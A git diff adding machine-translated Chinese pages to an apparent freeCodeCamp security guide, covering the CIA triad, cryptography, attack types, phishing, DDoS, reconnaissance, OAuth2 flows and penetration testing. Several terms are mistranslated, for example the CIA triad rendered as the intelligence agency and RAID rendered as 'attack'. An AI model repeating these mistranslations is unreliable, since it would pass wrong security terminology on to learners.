+*   安全令牌
+
+### 廉正
+
+完整性是指保持数据的准确性和完整性。换句话说，它是关于保护数据不被未经授权方，被授权方意外修改，或非人为引起的事件（如电磁脉冲或服务器崩溃）。例如，黑客可以在将数据发送到预期接收者之前拦截数据并对其进行修改。
+
+维护信息完整性的措施包括：
+
+*   加密
+*   哈希
+*   用户访问控制
+*   校验
+*   版本控制
+*   备份
+
+### 可用性
+
+最后，在需要时必须提供信息。为确保高数据可用性，您必须维护正常运行的硬件和软件并提供足够的带宽。但仅靠这些措施是不够的，因为有外力在起作用;数据可用性可能会进一步受到以下影响：
+
+*   拒绝服务（DoS）
+*   停电
+*   自然灾害
+
+例如，DoS可能被竞争对手公司用来破坏您的网站，使其自己的网站变得更受欢迎。
+
+减轻可用性威胁的措施包括：
+
+*   异地备份
+*   灾难恢复
+*   冗余
+*   故障转移
+*   袭击
+*   高可用性集群
+
+### 中央情报局三合会面临的挑战
+
+中央情报局三合会的特殊挑战：
+
+**大数据**对CIA范式构成了额外的挑战，因为需要安全保护的信息量庞大，来源的多样性以及存在的各种格式。重复的数据集和灾难恢复计划可能会增加已经很高的成本。此外，由于大数据的主要关注点是收集并对所有这些信息进行某种有用的解释，因此往往缺乏负责任的数据监督。
+
+**物联网隐私**是保护个人信息免受物联网环境暴露所需的特殊考虑因素，其中几乎任何物理或逻辑实体或对象都可以被赋予唯一的标识符以及通过互联网或类似方式自主通信的能力网络。由给定端点传输的数据可能不会导致任何隐私问题。但是，当收集，整理和分析来自多个端点的碎片数据时，它可以产生敏感信息。
+
+**物联网安全**也是一项特殊的挑战，因为物联网包含许多除计算机之外的支持互联网的设备，这些设备通常没有打补丁，通常配置有默认或弱密码。除非得到充分保护，否则IoT可以用作单独的攻击媒介或者是事物机器人的一部分。随着越来越多的产品开发出具有网络化的能力，在产品开发中定期考虑安全性非常重要。
+
+### 更多信息： [机密性，完整性和可用性（CIA三元组）](http://whatis.techtarget.com/definition/Confidentiality-integrity-and-availability-CIA)
+
+除了CIA三元组之外，信息安全还有其他经常出现的主题：
+
+*   不可否认性：保证某人/某事不能否认某事（例如，不能否认数字签名的真实性）
+*   身份验证：证明某人是他们声称的人
+*   可靠性：人们可以信赖一个系统或过程
+*   隐私：保密性的一般化对应物，也解决了未能满足要求的社会后果
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/cryptography/index.md b/client/src/guide/chinese/security/cryptography/index.md
new file mode 100644
index 0000000000..556cd750b1
--- /dev/null
+++ b/client/src/guide/chinese/security/cryptography/index.md
@@ -0,0 +1,59 @@
+---
+title: Cryptography
+localeTitle: 加密
+---
+## 加密
+
+密码学的基本目标是使两个人能够通过不安全的渠道进行交流，使得第三个人无法理解所说的内容。该频道可以是电话线或计算机网络。
+
+密码学开始被罗马人使用，以便在战斗中使消息不被敌人解读。
+
+现代之前的密码学实际上是加密的同义词，信息从可读状态转换为明显无意义。
+
+现代密码术用于数据中，因此只有一方或仅授权的方可以访问信息。
+
+多年来的加密变得更加先进。
+
+### 例
+
+Person1想要发送给Person2的信息，我们称之为“明文”，可以是文本，数字数据或任何类型的数据。 Person1使用预定密钥加密明文，并通过该信道发送得到的“密文”。 Person3在看到频道中的密文时，无法确定明文是什么，但是知道加密密钥的Person2可以解密密文并重建明文。
+
+### 凯撒Cypher（Shift Cypher）
+
+第一个已知的密码是Ceasar密码。 Ceasar cypher通过在字母表中向上或向下移动特定量的“明文”字母来工作。
+
+从外部人的角度来看，消息似乎是随机字母，其间有空格。
+
+### 现代密码学
+
+现代加密使用几乎随机数和数学上合理的功能，以便进行安全通信。这些新开发的功能因其结构而不易被破解，甚至需要数百年的超级计算机才能破解。
+
+现代加密有两种主要类型：
+
+### 1）对称或单密钥加密：
+
+对称密钥加密是一种加密方法，其中双方仅使用一个密钥进行加密和解密。由于它们的设计，这些算法通常比非对称或公钥加密快得多。
+
+一些对称加密技术包括：数据加密标准（DES），高级加密标准（AES），Blow Fish，Two Fish，RC4。
+
+### 2）非对称或公钥加密：
+
+非对称加密算法为每个用户提供一对密钥：一个公钥和一个公钥。使用该对中的一个密钥加密的任何消息只能用另一个密钥解密。
+
+一些非对称技术包括：RSA，Diffie-Hellman，DSS（数字签名标准），ElGamal。
+
+### 密码哈希
+
+大多数加密散列函数被设计为将任意长度的字符串作为输入并产生固定长度的散列值。
+
+加密哈希函数必须能够承受所有已知类型的密码分析攻击。
+
+### 密码学哈希
+
+加密散列函数是一种散列函数，它也被设计为单向函数（一种耗费太多时间和资源来暴力破解的函数）。散列的主要目的是处理消息的intregrity，因此相同的消息总是会产生相同的散列。
+
+#### 更多信息：
+
+*   [密码学：Douglas Stinson的理论与实践](https://www.crcpress.com/Cryptography-Theory-and-Practice-Third-Edition/Stinson/p/book/9781584885085)
+*   [关于加密的TechTarget](http://searchsecurity.techtarget.com/definition/encryption)
+*   [密码学指南](https://www.tutorialspoint.com/cryptography/index.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/cyberattacks/index.md b/client/src/guide/chinese/security/cyberattacks/index.md
new file mode 100644
index 0000000000..a08494b989
--- /dev/null
+++ b/client/src/guide/chinese/security/cyberattacks/index.md
@@ -0,0 +1,36 @@
+---
+title: Cyberattacks
+localeTitle: 网络攻击
+---
+网络攻击是指利用恶意代码对计算机系统，基础设施，计算机网络和/或个人计算机设备进行利用或“黑客攻击”。 网络攻击的目的往往是窃取，修改或破坏信息。
+
+发起网络攻击的动机可以是金融，政治和意识形态。 还有一些黑客入侵系统作为一种娱乐形式。
+
+网络攻击可以是针对性的和非目标的，黑客使用的机制也不同。 在有针对性的攻击中，网络犯罪分子可能会使用鱼叉式网络钓鱼，其中包含隐藏在文件附件中的恶意代码的电子邮件会发送给目标个人。 例如，恶意代码可以将自己安装在目标设备中并将信息发送回其创建者。 当发生这种情况时，我们将受害者的设备称为僵尸网络或僵尸计算机。
+
+网络攻击也可以是无目标的。这种攻击的典型例子是网络钓鱼， 网络犯罪分子向一大群人发送电子邮件，伪装成一个合法的组织，鼓励用户共享敏感信息或访问虚假网站。 或者，黑客可能会破坏合法网站并植入恶意软件（恶意软件），访问者将受到感染。 2017年，乌克兰政府网站感染了恶意软件，删除了访客的硬盘。
+
+迄今为止最大的网络攻击之一是雅虎黑客攻击，这影响了所有30亿用户帐户。黑客很危险，因为它暴露了用户的名字， 电子邮件地址，电话号码，DOB，加密密码和未加密的安全问题。这次攻击证明无论公司有多大， 没有人能100％认为他们的数据是安全的。
+
+## 常见的网络攻击类型
+
+*   恶意软件
+*   网络钓鱼
+*   SQL注入攻击
+*   漏洞利用
+*   跨站点脚本（XSS）
+*   密码攻击
+*   拒绝服务攻击（DoS）
+*   中间人（MITM）
+*   凭证重用
+*   流氓软件
+*   ARP中毒（网络测试）
+*   密码暴力
+*   本地/远程文件包含（Web App Pentest）
+*   间接对象​​引用（IDOR）
+*   分布式拒绝服务（DDoS）
+*   特洛伊木马攻击
+*   WiFi的网络钓鱼
+*   DNS中毒
+*   电子邮件欺骗
+*   KRACK（密钥重新安装攻击）
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/cyberattacks/phishing/index.md b/client/src/guide/chinese/security/cyberattacks/phishing/index.md
new file mode 100644
index 0000000000..f9c4a70cfd
--- /dev/null
+++ b/client/src/guide/chinese/security/cyberattacks/phishing/index.md
@@ -0,0 +1,25 @@
+---
+title: Phishing
+localeTitle: 网络钓鱼
+---
+## 网络钓鱼
+
+网络钓鱼是一种使用社交工程的网络攻击形式，它欺骗用户提供攻击者的个人详细信息，例如用户名，密码和信用卡号，通常假装是受信任的组织。
+
+网络犯罪分子经常将钓鱼邮件发送到随机电子邮件地址，因此任何人都可能成为网络钓鱼的受害者。但是，黑客可能会选择在“鱼叉式网络钓鱼”攻击中针对特定组织或个人发起网络钓鱼攻击。
+
+网络钓鱼攻击可以来自任何通信渠道，从电子邮件到电话。例如，您可能会因安全漏洞而收到一封要求您更改密码的电子邮件。为了建立一种信任感，网络犯罪分子将使用与他们假装的组织相同的徽标和电子邮件设计。这就是钓鱼邮件难以检测的原因。
+
+为了保护自己免受网络钓鱼电子邮件的攻击，您应该注意以下标志：
+
+*   电子邮件不会以您的姓名通知您。如上所述，黑客随机发送网络钓鱼电子邮件，可能不知道你的真实姓名。
+*   电子邮件有语法错误或拼写错误
+*   电子邮件包含的链接会导致目标与文本不同。您可以通过鼠标悬停链接来检查链接的目的地，而无需单击它
+*   发件人的电子邮件地址与受信任的组织类似，但可能略有不同。例如，您可能会收到来自`hello@goog1e.com`的电子邮件，而不是`hello@google.com` ，其中前者使用数字`1`来替换字符`l` 。
+
+虽然网络钓鱼电话不常见，但您应该始终关注它们。大多数大公司都不会向客户发出不请自来的电话，所以你应该对你收到的任何冷呼叫表示怀疑。
+
+## 更多信息：
+
+*   [SonicWall - 测试您的网络钓鱼智商](https://www.sonicwall.com/en-us/phishing-iq-test)
+*   [Phishing.Org - 常见的网络钓鱼技术](http://www.phishing.org/phishing-techniques)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/ddos-denial-of-service-attacks/index.md b/client/src/guide/chinese/security/ddos-denial-of-service-attacks/index.md
new file mode 100644
index 0000000000..0235ead59c
--- /dev/null
+++ b/client/src/guide/chinese/security/ddos-denial-of-service-attacks/index.md
@@ -0,0 +1,84 @@
+---
+title: DDoS Distributed Denial of Service
+localeTitle: DDoS分布式拒绝服务
+---
+拒绝服务（DOS）攻击是指攻击者试图通过使用多个虚假请求轰炸服务器并阻止实际用户访问服务来破坏服务器的服务。分布式DOS攻击是指攻击从多个位置同时发生，使得网络安全团队更难以检测和处理攻击。
+
+分布式拒绝服务（DDoS）攻击是指通过从多个源生成的大量流量超载来使在线服务或网站不可用的尝试。
+
+与拒绝服务（DoS）攻击不同，其中一台计算机和一台Internet连接用于使用数据包来淹没目标资源，DDoS攻击使用许多计算机和许多Internet连接，这些连接通常在全球范围内分布在所谓的僵尸网络中。
+
+DDoS攻击通常针对的是大公司，几分钟内拒绝服务可能会导致数百万美元的损失。
+
+有几种Ddos攻击，最好的攻击是通过检查目标的漏洞来确定的。
+
+### DDoS攻击的类型
+
+DDoS攻击大致可分为三类 -
+
+1.  基于卷的攻击
+2.  协议攻击
+3.  应用层攻击
+
+### 基于卷的攻击
+
+基于卷的攻击包括TCP泛洪，UDP泛洪，ICMP泛洪和其他欺骗性数据包泛洪。这些也称为第3层和第4层攻击。在这里，攻击者试图使目标站点的带宽饱和。攻击幅度以每秒位数（bps）为单位。
+
+*   **UDP泛洪** - UDP泛洪用于泛洪远程主机上具有大量UDP数据包的随机端口，更具体地说是端口号53.专用防火墙可用于过滤或阻止恶意UDP数据包。
+    
+*   **ICMP Flood** - 类似于UDP flood，用于泛洪具有大量ICMP Echo请求的远程主机。这种类型的攻击可以消耗传出和传入带宽，并且大量的ping请求将导致整个系统减速。
+    
+*   **HTTP Flood** - 攻击者将HTTP GET和POST请求发送到大容量的目标Web服务器，服务器无法处理这些请求，导致拒绝来自合法客户端的其他连接。
+    
+*   **放大攻击** - 攻击者发出一个请求，生成一个大的响应，其中包括对大型TXT记录的DNS请求和对大型文件（如图像，PDF或任何其他数据文件）的HTTP GET请求。
+    
+
+### 协议攻击
+
+协议攻击包括SYN泛洪，Ping of Death，分段数据包攻击，Smurf DDoS等。此类攻击消耗实际的服务器资源和其他资源，如防火墙和负载均衡器。攻击幅度以每秒数据包数量来衡量。
+
+*   **DNS泛滥** - DNS泛滥用于攻击基础架构和DNS应用程序，以淹没目标系统并消耗其所有可用的网络带宽。
+    
+*   **SYN Flood** - 攻击者发送TCP连接请求的速度比目标计算机可以处理的速度快，从而导致网络饱和。管理员可以调整TCP堆栈以减轻SYN泛洪的影响。要减少SYN泛滥的影响，可以减少超时，直到堆栈释放分配给连接的内存，或者使用防火墙或iptables选择性地丢弃传入连接。
+    
+*   **Ping of Death** - 攻击者使用简单的ping命令发送格式错误或超大的数据包。 IP允许发送65,535字节数据包，但发送大于65,535字节的ping数据包违反了Internet协议，可能导致目标系统上的内存溢出，最终导致系统崩溃。为了避免Ping of Death攻击及其变种，许多站点在其防火墙上完全阻止了ICMP ping消息。
+    
+
+### 应用层攻击
+
+应用层攻击包括Slowloris，零日DDoS攻击，针对Apache，Windows或OpenBSD漏洞的DDoS攻击等。这里的目标是使Web服务器崩溃。攻击幅度以每秒请求数来衡量。
+
+*   **应用程序攻击** - 这也称为第7层攻击，攻击者进行过多的登录，数据库查找或搜索请求以使应用程序过载。检测第7层攻击非常困难，因为它们类似于合法的网站流量。
+    
+*   **Slowloris** - 攻击者向目标Web服务器发送大量HTTP标头，但从未完成请求。目标服务器保持每个这些错误连接都打开并最终溢出最大并发连接池，并导致拒绝来自合法客户端的其他连接。
+    
+*   **NTP扩充** - 攻击者利用可公开访问的网络时间协议（NTP）服务器，使用用户数据报协议（UDP）流量淹没目标服务器。
+    
+*   **零日DDoS攻击** - 零日漏洞是供应商以前不知道的系统或应用程序漏洞，尚未修复或修补。这些是日复一日的新型攻击，例如，利用尚未发布补丁的漏洞。
+    
+
+### 如何修复DDoS攻击
+
+根据DDoS攻击的类型，您可以应用相当多的DDoS保护选项。
+
+您的DDoS保护从识别和关闭系统中所有可能的操作系统和应用程序级漏洞开始，关闭所有可能的端口，从系统中删除不必要的访问权限并将服务器隐藏在代理或CDN系统之后。
+
+如果您发现DDoS的数量很小，那么您可以找到许多基于防火墙的解决方案，它们可以帮助您过滤掉基于DDoS的流量。但是如果您有大量的DDoS攻击，如千兆位甚至更多，那么您应该接受DDoS保护服务提供商的帮助，该提供商提供更全面，主动和真实的方法。
+
+在接近并选择DDoS保护服务提供商时必须小心。有许多服务提供商想要利用您的情况。如果您通知他们您受到DDoS攻击，那么他们将开始以不合理的高成本为您提供各种服务。
+
+我们可以为您提供一个简单而有效的解决方案，首先要搜索一个足够灵活的DNS解决方案提供商，以便为您的网站配置A和CNAME记录。其次，您需要一个能够处理大DDoS流​​量的好CDN提供商，并为您提供DDoS保护服务，作为其CDN包的一部分。
+
+假设您的服务器IP地址是AAA.BBB.CCC.DDD。然后你应该做以下DNS配置 -
+
+*   在DNS区域文件中创建一个记录，如下所示，带有DNS标识符，例如ARECORDID，并将其与外界保密。
+*   现在请求您的CDN提供商将创建的DNS标识符与URL链接，例如cdn.someotherid.domain.com。
+*   您将使用CDN URL cdn.someotherid.domain.com创建两个CNAME记录，第一个指向www，第二个记录指向@，如下所示。
+
+您可以从系统管理员那里获得帮助以了解这些要点并适当地配置DNS和CDN。最后，您将在DNS上进行以下配置。
+
+### 更多信息
+
+*   [了解拒绝服务攻击](https://www.us-cert.gov/ncas/tips/ST04-015)
+*   [全球DDoS攻击的可视化](http://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=17462&view=map "全球DDoS攻击的可视化")
+*   [关于DDoS的Kotaku文章](https://kotaku.com/how-ddos-attacks-work-and-why-theyre-so-hard-to-stop-1676445620)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/footprinting-and-reconnaissance/index.md b/client/src/guide/chinese/security/footprinting-and-reconnaissance/index.md
new file mode 100644
index 0000000000..864c41f85a
--- /dev/null
+++ b/client/src/guide/chinese/security/footprinting-and-reconnaissance/index.md
@@ -0,0 +1,25 @@
+---
+title: Footprinting and Reconnaissance
+localeTitle: 足迹和侦察
+---
+## 足迹和侦察
+
+足迹或侦察是在黑客攻击之前收集有关目标的信息的过程。在足迹阶段，黑客将尝试收集关于目标的最大数量的信息，这可能对攻击有用如：
+
+1.  识别操作系统
+2.  扫描端口以检测打开的端口以进行利用
+3.  WHOIS查询用于了解特定服务的注册商信息。
+4.  抓取网络以了解有关目标的更多信息。
+5.  收集电话号码，电子邮件地址，员工信息和其他内幕信息。
+
+简而言之，足迹是渗透测试的第一个最重要和最重要的阶段，没有这个阶段，执行黑客攻击可能非常困难。
+
+为了收集信息，黑客可以使用下面列出的各种工具和技术。
+
+1.  NSLOOKUP
+2.  NMAP
+3.  Sam Spade
+4.  跟踪路由
+5.  NeoTrace等等。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/i2p/index.md b/client/src/guide/chinese/security/i2p/index.md
new file mode 100644
index 0000000000..28e3587613
--- /dev/null
+++ b/client/src/guide/chinese/security/i2p/index.md
@@ -0,0 +1,13 @@
+---
+title: I2P
+localeTitle: I2P
+---
+## 隐形互联网项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/security/i2p/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+隐形互联网项目（I2P）诞生于2003年。一群黑客，​​开发人员和软件架构师，其主要目标是创建一个虚拟的专用网络，抵抗 审查。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/index.md b/client/src/guide/chinese/security/index.md
new file mode 100644
index 0000000000..d8c9e3bcca
--- /dev/null
+++ b/client/src/guide/chinese/security/index.md
@@ -0,0 +1,21 @@
+---
+title: Security
+localeTitle: 安全
+---
+## 安全
+
+信息安全（也称为“信息安全”或“安全”）涉及保护和闯入系统。
+
+在[2017年Equifax突破](https://medium.freecodecamp.org/the-equifax-hack-and-how-to-protect-your-family-all-explained-in-5-minutes-a2b5187cb6c0)等重大漏洞之后，这是一个特别重要的空间。
+
+信息安全从业者通常被称为“安全研究人员”，尽管他们通常也被称为黑客入侵系统。
+
+有“白帽黑客”（道德黑客）试图发现新的漏洞并将其引起维护这些系统的人们的注意，这被称为“道德披露”。他们经常这样做是为了在该领域的声望，或为公司留出的“错误赏金”，以补偿人们帮助他们发现漏洞。
+
+在Parity（在以太坊区块链上）的一个有趣的黑客攻击中，“白人黑客黑客”利用漏洞并在真正的黑客利用相同漏洞（无需返还资金）之前耗尽了所有钱包：https：//medium.freecodecamp .ORG / A-黑客窃取-31米-的醚如何-IT-发生和乜它均值换复仇，9e5dc29e33ce。这导致了3100万美元的损失，而不是超过1.8亿美元的损失。
+
+还有“黑帽黑客”没有透露他们发现的漏洞，而是利用它们创建攻击来攻击人们的系统，或者将漏洞利用出售给出价最高者。他们经常这样做是为了窃取他们可以勒索的数据，或者只是释放到公开场合以引起混乱。
+
+安全研究人员使用各种方法和工具，本节将对此进行讨论。
+
+虽然黑客攻击是安全应用程序的主要威胁，但它并不是唯一的。应用程序开发人员需要平衡用户体验和安全功能。由于复杂或难以理解的安全配置，一些网络漏洞是自我造成的。默认情况下应该设置哪些安全功能？什么功能应该是无缝的，哪些应该需要明确的用户同意？
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/oauth2/index.md b/client/src/guide/chinese/security/oauth2/index.md
new file mode 100644
index 0000000000..aee7e0b96f
--- /dev/null
+++ b/client/src/guide/chinese/security/oauth2/index.md
@@ -0,0 +1,182 @@
+---
+title: OAuth2 Protocol
+localeTitle: OAuth2协议
+---
+## OAuth 2.0
+
+[OAuth 2.0](https://tools.ietf.org/html/rfc6749)是一种行业标准授权协议，它使第三方应用程序能够代表资源所有者（系统用户）有限地访问资源
+
+OAuth广泛应用于Google，Facebook，Slack等许多主要互联网公司
+
+**目录**
+
+*   基础知识
+*   协议流程
+*   授权授权类型
+*   参考
+
+### 基础知识
+
+#### [角色](https://tools.ietf.org/html/rfc6749#section-1.1)
+
+*   **资源所有者** ： 使用产品或服务的人（例如：您是Google帐户中的资源所有者）
+*   **资源服务器** ： 服务器托管客户受保护的数据（例如：托管电子邮件的Gmail）
+*   **客户** ： 应用程序请求访问资源服务器中的数据
+*   **授权服务器** ： 处理授权请求的服务器，向请求客户端发出访问令牌。此服务器可以与资源服务器相同，也可以是单独的服务器
+
+#### 令牌
+
+OAuth 2.0中定义了两种类型的令牌
+
+*   **[访问令牌](https://tools.ietf.org/html/rfc6749#section-1.4)** ： 访问令牌是OAuth的关键部分，因为它允许从任何拥有此令牌的应用程序访问用户数据。此令牌具有由授权服务器定义的有限生命周期。
+*   **[刷新令牌](https://tools.ietf.org/html/rfc6749#section-1.5)** ： 此令牌作为访问令牌的一部分发布，因为访问令牌的生命周期有限，有时客户端应用程序需要访问用户数据更长时间（例如：集成服务），在这种情况下，客户端应用程序可以请求刷新令牌，这允许它们更新访问令牌以获得需要重新授权用户的新版本。
+
+#### [访问令牌范围](https://tools.ietf.org/html/rfc6749#section-3.3)
+
+客户端授权请求中的scope参数，允许客户端应用程序指定他们想要访问的资源或数据类型，可用范围由授权服务器确定，一旦授权，请求的范围附加到访问令牌，给定访问令牌限制访问用户数据而不是完全访问权限。
+
+### [协议流程](https://tools.ietf.org/html/rfc6749#section-1.2)
+
+![OAuth2协议流程](https://assets.digitalocean.com/articles/oauth/abstract_flow.png)
+
+### 授权授权类型
+
+OAuth2定义了4种类型的授权，以根据客户端的性质获取访问令牌。
+
+*   授权码
+*   隐含流动
+*   资源所有者凭据
+*   客户端凭据
+
+#### 授权代码授予
+
+客户性质：
+
+能够安全存储客户端密钥（通常是Web服务器）的客户端可以使用此授权进行授权。这还允许通过刷新令牌的帮助获得长期访问令牌。
+
+例如：Web应用程序请求访问Google帐户用户的信息
+
+摘要流程
+
+![授权代码流程](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/authorization-code-flow.png)
+
+代码示例：
+
+授权请求
+```
+GET /oauth2/authorize?response_type=code 
+ &client_id=client123&scope=profile 
+ &redirect_uri=https://client.com/callback HTTP/1.1 
+ Host: auth.server.com 
+```
+
+```
+HTTP/1.1 302 Found 
+ Location: https://client.com/callback#code=sb8s6doy9bsd9sd&state=abcde 
+```
+
+发布接收授权代码，用代码向授权服务器发出请求，
+```
+POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=authorization_code 
+ &code=sb8s6doy9bsd9sd 
+ &redirect_uri=https://client.com/callback 
+ &client_id=client123 
+ &client_secret=secret 
+ &scope=profile 
+```
+
+响应
+```
+HTTP/1.1 200 OK 
+ Content-Type: application/json;charset=UTF-8 
+ Cache-Control: no-store 
+ Pragma: no-cache 
+ { 
+  "access_token":"gsi8d6fosb9d6fos6df", 
+  "token_type":"bearer", 
+  "expires_in":3600 
+ } 
+```
+
+#### 隐含流动
+
+客户性质：
+
+在浏览器中运行的客户端应用程序，通常是前端应用程序（例如：SPA）。此Grant不会发出刷新令牌。
+
+例如：在浏览器中运行的前端javascript应用程序
+
+摘要流程：
+
+![授权代码流程](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/implicit-flow.png)
+
+代码示例：
+```
+GET /oauth2/authorize?response_type=token 
+ &client_id=client123 
+ &redirect_uri=https://client.com/callback HTTP/1.1 
+ Host: auth.server.com 
+```
+
+```
+HTTP/1.1 302 Found 
+ Location: https://client.com/callback#access_token=98y2b38&token_type=bearer&expires_in=3600&state=abcde 
+```
+
+#### 资源所有者凭据
+
+客户性质：
+
+在此流程中，资源所有者与客户端共享其凭据（密码），然后与授权服务器共享，因此当它们是客户端应用程序和授权服务器之间的绝对信任时，将使用此授权。因此，第三方客户端应用程序通常不允许此流程。
+
+例如：使用此流程的Facebook移动应用程序通过Facebook Server进行授权
+
+摘要流程：
+
+![资源所有者凭据](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/resource-owner-password-flow.png)
+
+代码示例：
+```
+POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=password 
+ &username=john 
+ &password=abcde 
+```
+
+#### 客户端凭据流
+
+客户性质：
+
+当客户端本身是资源所有者时（即客户端想要访问其使用限制或与其相关的信息），将使用此类授权。此流程中没有最终用户授权。
+
+例如：客户端应用程序从谷歌服务器请求非用户数据（例如：时区，地图等）
+
+摘要流程：
+
+![客户端凭据](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/client-credentials-flow.png)
+
+代码示例：
+```
+POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=client_credentials 
+ &client_id=client123 
+ &client_secret=xyz123 
+```
+
+### 参考
+
+有关更多阅读，请参阅
+
+*   [OAuth2草案](https://tools.ietf.org/html/rfc6749)
+*   [了解OAuth2](http://www.bubblecode.net/en/2016/01/22/understanding-oauth2/)
+*   [创建自己的openId连接服务器](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/open-whisper-and-signal/index.md b/client/src/guide/chinese/security/open-whisper-and-signal/index.md
new file mode 100644
index 0000000000..92654b6fd9
--- /dev/null
+++ b/client/src/guide/chinese/security/open-whisper-and-signal/index.md
@@ -0,0 +1,13 @@
+---
+title: Open Whisper Systems and Signal
+localeTitle: 打开耳语系统和信号
+---
+## 打开耳语系统和信号
+
+Open Whisper Systems（缩写为OWS）是由Moxie Marlinspike于2013年创立的软件组织。其主要重点是信号协议的开发。该组织由捐赠和赠款组合资助，其所有产品均作为免费和开源软件发布。
+
+它还维护一个名为Signal for Android和iOS的加密通信应用程序。它使用互联网发送一对一和群组消息，其中包括文件，语音消息，图像和视频，以及进行一对一的语音和视频呼叫。
+
+Signal使用标准蜂窝移动号码作为标识符，并使用端到端加密来保护与其他Signal用户的所有通信。这些应用程序包括用户可以独立验证其邮件通讯记录器身份和数据通道完整性的机制。
+
+客户是根据GPLv3许可证发布的免费和开源软件。服务器代码以AGPLv3许可证发布。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/packet-filtering/index.md b/client/src/guide/chinese/security/packet-filtering/index.md
new file mode 100644
index 0000000000..de6b38c1ee
--- /dev/null
+++ b/client/src/guide/chinese/security/packet-filtering/index.md
@@ -0,0 +1,15 @@
+---
+title: Packet Filtering
+localeTitle: 包过滤
+---
+## 包过滤
+
+数据包过滤是基于源和目标地址，端口或协议在网络接口传递或阻止数据包的过程。该过程与数据包重整和网络地址转换（NAT）结合使用。数据包过滤通常是防火墙程序的一部分，用于保护本地网络免受不必要的入侵。
+
+### 如何实现包过滤
+
+网络层防火墙定义数据包过滤规则集，提供高效的安全机制。在软件防火墙中，包过滤由称为包过滤器的程序完成。数据包过滤器根据一组特定的规则检查每个数据包的标头，并在此基础上决定阻止它传递（称为DROP）或允许它通过（称为ACCEPT）。
+
+### 过滤方法
+
+一旦定义了一组过滤规则，就可以通过三种方式配置数据包过滤器。在第一种方法中，过滤器只接受那些确定安全的数据包，而不是所有其他数据包。这是最安全的模式，但如果无意中丢弃了合法的数据包，可能会造成不便。在第二种方法中，过滤器仅丢弃确定不安全的数据包，接受所有其他数据包。此模式的安全性最低，但不会造成较少的不便，尤其是在随意的Web浏览中。在第三种方法中，如果过滤器遇到其规则不提供指令的数据包，则可以隔离该数据包，或者可以专门查询用户应该对其执行的操作。如果它导致出现大量对话框（例如，在Web浏览期间），则这可能是不方便的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/penetration-testing/index.md b/client/src/guide/chinese/security/penetration-testing/index.md
new file mode 100644
index 0000000000..b5b0ee82c2
--- /dev/null
+++ b/client/src/guide/chinese/security/penetration-testing/index.md
@@ -0,0 +1,65 @@
+---
+title: Penetration Testing
+localeTitle: 渗透测试
+---
+渗透测试是许多公司遵循的方法，以最大限度地减少其安全漏洞。这是一种雇佣专业人员的受控方式，他会试图破解你的系统，并向你展示你应该如何修复的漏洞。渗透测试有时会导致系统崩溃，导致公司失去正常运行时间，最好的做法是对生产环境的预生产版本进行渗透测试。
+
+在进行渗透测试之前，必须签订明确提及以下参数的协议 -
+
+*   什么是渗透测试的时间，
+*   哪个是攻击的IP源，和
+*   什么是系统的渗透领域。
+
+渗透测试由专业的道德黑客进行，他们主要使用商业，开源工具，自动化工具和手动检查。没有限制;这里最重要的目标是发现尽可能多的安全漏洞。许多大公司通过所谓的[bug赏金计划](https://en.wikipedia.org/wiki/Bug_bounty_program)为任何能够指出系统安全漏洞的人提供奖励。例如，谷歌将通过其漏洞奖励计划提供数万美元。
+
+## 渗透测试的阶段
+
+渗透测试有五个主要阶段。他们是：
+
+1.  **侦察**
+    *   这是渗透测试人员收集有关您潜在目标的尽可能多的信息的地方。此阶段使用的一些方法是Google / Bing搜索，whois搜索，Netcraft扫描和社交工程。
+2.  **扫描**
+    *   一旦渗透测试人员收集了所有信息并决定他们想要攻击哪个目标，他们需要确保目标存活并扫描诸如开放端口，活动服务和任何当前漏洞之类的内容。目标系统已打开。
+3.  **开发**
+    *   扫描完成并评估漏洞后，渗透测试人员可以使用该信息来确定其攻击媒介。在此阶段，渗透测试人员会查找使用上一阶段中发现的漏洞之一来获取对目标系统的访问权限的漏洞利用程序。
+4.  **维护访问权限**
+    *   这个阶段是渗透测试人员确保他们有足够的时间来测试目标系统的地方。他们可能会试图规避任何入侵检测/预防措施，以便完成测试。
+5.  **覆盖轨道**
+    *   在攻击完成后，压抑测试人员可以采取措施隐藏他们的入侵，并且可能留下持久访问的手段以允许向他们的客户提供概念证明。
+
+## 渗透测试的类型
+
+我们有五种类型的渗透测试 -
+
+1.  **黑匣子** - 在这里，道德黑客没有关于他试图渗透的组织的基础设施或网络的任何信息。在黑盒渗透测试中，黑客试图通过他自己的方式找到信息。
+    
+2.  **灰盒子** - 这是一种渗透测试，道德黑客对基础设施有部分了解，比如域名服务器。
+    
+3.  **白盒** - 在白盒渗透测试中，道德黑客提供了有关他需要渗透的基础架构和组织网络的所有必要信息。
+    
